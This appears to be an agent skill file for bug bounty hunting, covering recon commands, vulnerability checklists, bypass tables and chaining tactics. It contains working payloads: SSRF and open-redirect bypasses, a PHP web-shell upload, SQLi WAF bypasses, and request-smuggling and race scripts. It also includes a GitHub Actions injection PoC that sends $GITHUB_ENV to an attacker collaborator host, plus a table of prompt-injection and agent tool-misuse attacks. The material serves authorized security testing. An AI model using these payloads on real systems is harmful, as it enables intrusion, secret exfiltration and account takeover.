| name | bb-local-toolkit |
| description | Complete bug bounty workflow โ recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning, vuln hunting (30+ classes), A-to-B chaining, AI/LLM testing, bypass tables, language-specific grep, reporting. Use for ANY bug bounty task. |
| sources | field_recon, hackerone_public, projectdiscovery, portswigger_research, github_security_advisories |
| report_count | 250 |
Bug Bounty Master Workflow
Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
THE ONLY QUESTION THAT MATTERS
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
Theoretical Bug = Wasted Time. Kill These Immediately:
| Pattern | Kill Reason |
|---|
| "Could theoretically allow..." | Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
| Dead code with a bug in it | Not reachable = not a bug |
| Source maps without secrets | No impact |
| SSRF with DNS-only callback | Need data exfil or internal access |
| Open redirect alone | Need ATO or OAuth chain |
| "Could be used in a chain if..." | Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
CRITICAL RULES
- READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
- NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
- KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
- Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
- One bug class at a time -- go deep, don't spray
- Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
- 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
- IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
- CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
- STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
- BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
- UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
- DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
- HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
- ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
- TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
- T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
For the full hunting methodology โ 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection โ see skills/bb-methodology/SKILL.md.
A->B BUG SIGNAL METHOD (Cluster Hunting)
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
Known A->B->C Chains
| Bug A (Signal) | Hunt for Bug B | Escalate to C |
|---|
| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |
| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE |
| XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO |
| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO |
| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain |
| Rate limit bypass | OTP brute force | Account takeover |
| GraphQL introspection | Missing field-level auth | Mass PII exfil |
| Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access |
| CORS reflects origin | Test with credentials: include | Credentialed data theft |
| Host header injection | Password reset poisoning | ATO via reset link |
Cluster Hunt Protocol (6 Steps)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
Real Examples
Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna Chatbot chain:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
TOP 1% HACKER MINDSET
How Elite Hackers Think Differently
Average hunter: Runs tools, checks checklist, gives up after 30 min.
Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
Pre-Hunt Mental Framework
Step 1: Crown Jewel Thinking
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
- Financial app -> drain funds, transfer to attacker account
- Healthcare -> PII leak, HIPAA violation
- SaaS -> tenant data crossing, admin takeover
- Auth provider -> full SSO chain compromise
Step 2: Developer Empathy
Think like the developer who built the feature:
- What was the simplest implementation?
- What shortcut would a tired dev take at 2am?
- Where is auth checked -- controller? middleware? DB layer?
- What happens when you call endpoint B without going through endpoint A first?
Step 3: Trust Boundary Mapping
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
Step 4: Feature Interaction Thinking
- Does this new feature reuse old auth, or does it have its own?
- Does the mobile API share auth logic with the web app?
- Was this feature built by the same team or a third-party?
The Top 1% Mental Checklist
Mindset Rules from Top Hunters
"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
TOOLS
Go Binaries
| Tool | Use |
|---|
| subfinder | Passive subdomain enum |
| httpx | Probe live hosts |
| dnsx | DNS resolution |
| nuclei | Template scanner |
| katana | Crawl |
| waybackurls | Archive URLs |
| gau | Known URLs |
| dalfox | XSS scanner |
| ffuf | Fuzzer |
| anew | Dedup append |
| qsreplace | Replace param values |
| assetfinder | Subdomain enum |
| gf | Grep patterns (xss, sqli, ssrf, redirect) |
| interactsh-client | OOB callbacks |
Tools to Install When Needed
| Tool | Use | Install |
|---|
| arjun | Hidden parameter discovery | pip3 install arjun |
| paramspider | URL parameter mining | pip3 install paramspider |
| kiterunner | API endpoint brute | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | Cloud asset enumeration | pip3 install cloud_enum |
| trufflehog | Secret scanning | brew install trufflehog |
| gitleaks | Secret scanning | brew install gitleaks |
| XSStrike | Advanced XSS scanner | pip3 install xsstrike |
| SecretFinder | JS secret extraction | pip3 install secretfinder |
| sqlmap | SQL injection | pip3 install sqlmap |
| subzy | Subdomain takeover | go install github.com/LukaSikic/subzy@latest |
Static Analysis (Semgrep Quick Audit)
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
FFUF Advanced Techniques
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file โ IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
AI-Assisted Tools
- strix (usestrix.com) -- open-source AI scanner for automated initial sweep
PHASE 1: RECON
Standard Recon Pipeline
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
Cloud Asset Enumeration
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
API Endpoint Discovery
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
HackerOne Scope Retrieval
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
Quick Wins Checklist
Technology Fingerprinting
| Signal | Technology |
|---|
Cookie: XSRF-TOKEN + *_session | Laravel |
Cookie: PHPSESSID | PHP |
Header: X-Powered-By: Express | Node.js/Express |
Response: wp-json/wp-content | WordPress |
Response: {"errors":[{"message": | GraphQL |
Header: X-Powered-By: Next.js | Next.js |
Framework Quick Wins
Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log
WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1
Node.js: /.env, /graphql (introspection), /_debug
AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins
Source Code Recon
# Security surface
cat CHANGELOG.md 2>/dev/null | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
Language-Specific Grep Patterns
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
PHASE 2: LEARN (Pre-Hunt Intelligence)
Read Disclosed Reports
# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
"What Changed" Method
- Find disclosed report for similar tech
- Get the fix commit
- Read the diff -- identify the anti-pattern
- Grep your target for that same anti-pattern
Threat Model Template
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
6 Key Patterns from Top Reports
- Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
- Developer Inconsistency = Strongest Evidence --
timingSafeEqual in one place, === elsewhere
- "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
- Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
- Secondary/Legacy Endpoints = No Auth --
/api/v1/ guarded but /api/ isn't
- Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend
PHASE 3: HUNT
Note-Taking System (Never Hunt Without This)
# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
Subdomain Type -> Hunt Strategy
- dev/staging/test: Debug endpoints, disabled auth, verbose errors
- admin/internal: Default creds, IP bypass headers (
X-Forwarded-For: 127.0.0.1)
- api/api-v2: Enumerate with kiterunner, check older unprotected versions
- auth/sso: OAuth misconfigs, open redirect in
redirect_uri
- upload/cdn: CORS, path traversal, stored XSS
CVE-Seeded Audit Approach
- Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
- Reproduce old bugs -- verify you can find the pattern in older code
- Pattern-match forward -- search for the same anti-pattern in current code
- Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input
Rust/Blockchain Source Code (Hard-Won Lessons)
Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.
Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
VULNERABILITY HUNTING CHECKLISTS
IDOR -- Insecure Direct Object Reference
#1 most paid web2 class -- 30% of all submissions that get paid.
IDOR Variants (10 Ways to Test)
| Variant | What to Test |
|---|
| V1: Direct | Change object ID in URL path /api/users/123 -> /api/users/456 |
| V2: Body param | Change ID in POST/PUT JSON body {"user_id": 456} |
| V3: GraphQL node | { node(id: "base64(OtherType:123)") { ... } } |
| V4: Batch/bulk | /api/users?ids=1,2,3,4,5 -- request multiple IDs at once |
| V5: Nested | Change parent ID: /orgs/{org_id}/users/{user_id} |
| V6: File path | /files/download?path=../other-user/file.pdf |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try /api/v1/ same endpoint |
| V10: Header injection | X-User-ID: victim_id, X-Org-ID: victim_org |
IDOR Testing Checklist
IDOR Chains (higher payout)
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot (LLM reads other user's data) = High
SSRF -- Server-Side Request Forgery
SSRF IP Bypass Table (11 Techniques)
| Bypass | Payload | Notes |
|---|
| Decimal IP | http://2130706433/ | 127.0.0.1 as single decimal |
| Hex IP | http://0x7f000001/ | Hex representation |
| Octal IP | http://0177.0.0.1/ | Octal 0177 = 127 |
| Short IP | http://127.1/ | Abbreviated notation |
| IPv6 | http://[::1]/ | Loopback in IPv6 |
| IPv6-mapped | http://[::ffff:127.0.0.1]/ | IPv4-mapped IPv6 |
| Redirect chain | http://attacker.com/302->http://169.254.169.254 | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
| URL encoding | http://127.0.0.1%2523@attacker.com | Parser confusion |
| Enclosed alphanumeric | http://โ โกโฆ.โช.โช.โ | Unicode numerals |
| Protocol smuggling | gopher://127.0.0.1:6379/_INFO | Redis/other protocols |
SSRF Impact Chain
- DNS-only = Informational (don't submit)
- Internal service accessible = Medium
- Cloud metadata readable = High (key exposure)
- Cloud metadata + exfil keys = Critical (code execution on cloud)
- Docker API accessible = Critical (direct RCE)
OAuth / OIDC
Open Redirect Bypass Table (11 Techniques)
Use these when chaining open redirect into OAuth code theft:
| Bypass | Payload | Notes |
|---|
| Double URL encoding | %252F%252F | Decodes to // after double decode |
| Backslash | https://target.com\@evil.com | Some parsers normalize \ to / |
| Missing protocol | //evil.com | Protocol-relative |
| @-trick | https://target.com@evil.com | target.com becomes username |
| Protocol-relative | ///evil.com | Triple slash |
| Tab/newline injection | //evil%09.com | Whitespace in hostname |
| Fragment trick | https://evil.com#target.com | Fragment misleads validation |
| Null byte | https://evil.com%00target.com | Some parsers truncate at null |
| Parameter pollution | ?next=target.com&next=evil.com | Last value wins |
| Path confusion | /redirect/..%2F..%2Fevil.com | Path traversal in redirect |
| Unicode normalization | https://evil.com/target.com | Visual confusion |
File Upload
File Upload Bypass Table
| Bypass | Technique |
|---|
| Double extension | file.php.jpg, file.php%00.jpg |
| Case variation | file.pHp, file.PHP5 |
| Alternative extensions | .phtml, .phar, .shtml, .inc |
| Content-Type spoof | image/jpeg header with PHP content |
| Magic bytes | GIF89a; <?php system($_GET['c']); ?> |
| .htaccess upload | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | ../../etc/cron.d/shell in filename inside archive |
Magic Bytes Reference
| Type | Hex |
|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
| PDF | 25 50 44 46 |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
Race Conditions
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
Business Logic
XSS -- Cross-Site Scripting
XSS Sinks (grep for these)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS Chains (escalate from Medium to High/Critical)
- XSS + sensitive page (banking, admin) = High
- XSS + CSRF token theft = CSRF bypass -> Critical action
- XSS + service worker = persistent XSS across pages
- XSS + credential theft via fake login form = ATO
- XSS in chatbot response = stored XSS chain
SQL Injection
Detection
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
Modern SQLi WAF Bypass
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
GraphQL
Introspection (alone = Informational, but reveals attack surface)
{ __schema { types { name fields { name type { name } } } } }
Missing Field-Level Auth
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
Batching Attack (Rate Limit Bypass)
[
{"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
{"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
"...100 more..."
]
LLM / AI Features
Agentic AI Hunting (OWASP ASI01-ASI10)
When target has AI agents with tool access, these are the 10 attack classes:
| ID | Vuln Class | What to Test |
|---|
| ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules |
| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |
| ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context |
| ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user |
| ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content |
| ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay |
| ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM |
| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered |
| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |
| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
Cache Poisoning / Web Cache Deception
HTTP Request Smuggling
CL.TE Example
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
Android / Mobile Hunting
CI/CD Pipeline โ GitHub Actions Security
Tooling: Use sisakulint for automated SAST โ 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: brew install sisakulint or download binary from releases.
Quick scan: sisakulint scan .github/workflows/ โ flags Critical/High issues with auto-fix suggestions.
Remote scan: sisakulint scan --remote owner/repo โ scan without cloning.
Recon: Finding Workflow Files
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50
# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
# Run sisakulint on all workflows:
sisakulint scan .github/workflows/
Category 1: Code Injection & Expression Safety (CICD-SEC-04)
Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.
Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
Category 2: Pipeline Poisoning & Untrusted Checkout
Root cause: Privileged triggers (pull_request_target, workflow_run) checkout attacker's PR code, which then runs with repository secrets.
Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
Category 4: Credential & Secret Protection
Category 5: Triggers & Access Control (CICD-SEC-01)
Category 6: AI Agent Security (NEW โ 2025+)
Hunting Workflow
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings โ manual verification
4. For each finding:
a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
b. What secrets are accessible? (check permissions: block, secrets usage)
c. What's the blast radius? (repo secrets โ deploy keys โ cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
Expression Injection PoC Template
# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
# Step 2: If workflow triggers on issues and interpolates title โ secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)
Real-World GHSAs (Proven Payouts)
| GHSA | Action | Bug Class | Severity |
|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain โ impostor commit | High |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |
AโB Signal: CI/CD Chains
Expression injection โ secret exfiltration โ cloud account takeover
Untrusted checkout โ Makefile RCE โ deploy key theft โ repo takeover
Artifact poisoning โ release binary tampering โ supply chain compromise
Cache poisoning โ build output manipulation โ backdoored deployment
Impostor commit โ pinned action hijack โ all downstream repos affected
OIDC token theft โ cloud metadata โ S3/GCS read โ customer data
Self-hosted runner โ container escape โ internal network pivot
Deep-Dive: From sisakulint Finding to Bounty Report
sisakulint findings are potentially exploitable โ not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
1. Code Injection / Argument Injection
Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
Verification depth:
- Trigger accessibility โ
issues: opened and issue_comment: created are triggerable by ANY GitHub user. pull_request_target is triggerable via fork PR. Check if there's an if: condition filtering by actor/association.
- Direct vs transitive taint โ The workflow file itself may look safe. Cycode found Bazel's $13K bug because
cherry-picker.yml passed ${{ github.event.issue.title }} via with: to a composite action in another repo (bazelbuild/continuous-integration). The composite action's action.yml had run: TITLE="${{ inputs.issue-title }}". Conventional scanners (actionlint) missed this because they don't follow uses: into external composite actions. Always fetch and read the composite action's action.yml.
- Payload construction โ Branch names cannot contain spaces. Ultralytics YOLO attacker used
${IFS} (Internal Field Separator) and Bash brace expansion {curl,-sSfL,URL} to bypass this. Issue titles/bodies have no such restriction.
- Secrets reachability โ Check
permissions: at workflow AND job level. No explicit permissions: block = repo default (often write-all). Check env: blocks for ${{ secrets.* }}. Check if GITHUB_TOKEN has write permissions.
- Impact chain โ Bazel: issue title injection โ composite action shell injection โ
BAZEL_IO_TOKEN + GITHUB_TOKEN (write-all) โ Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).
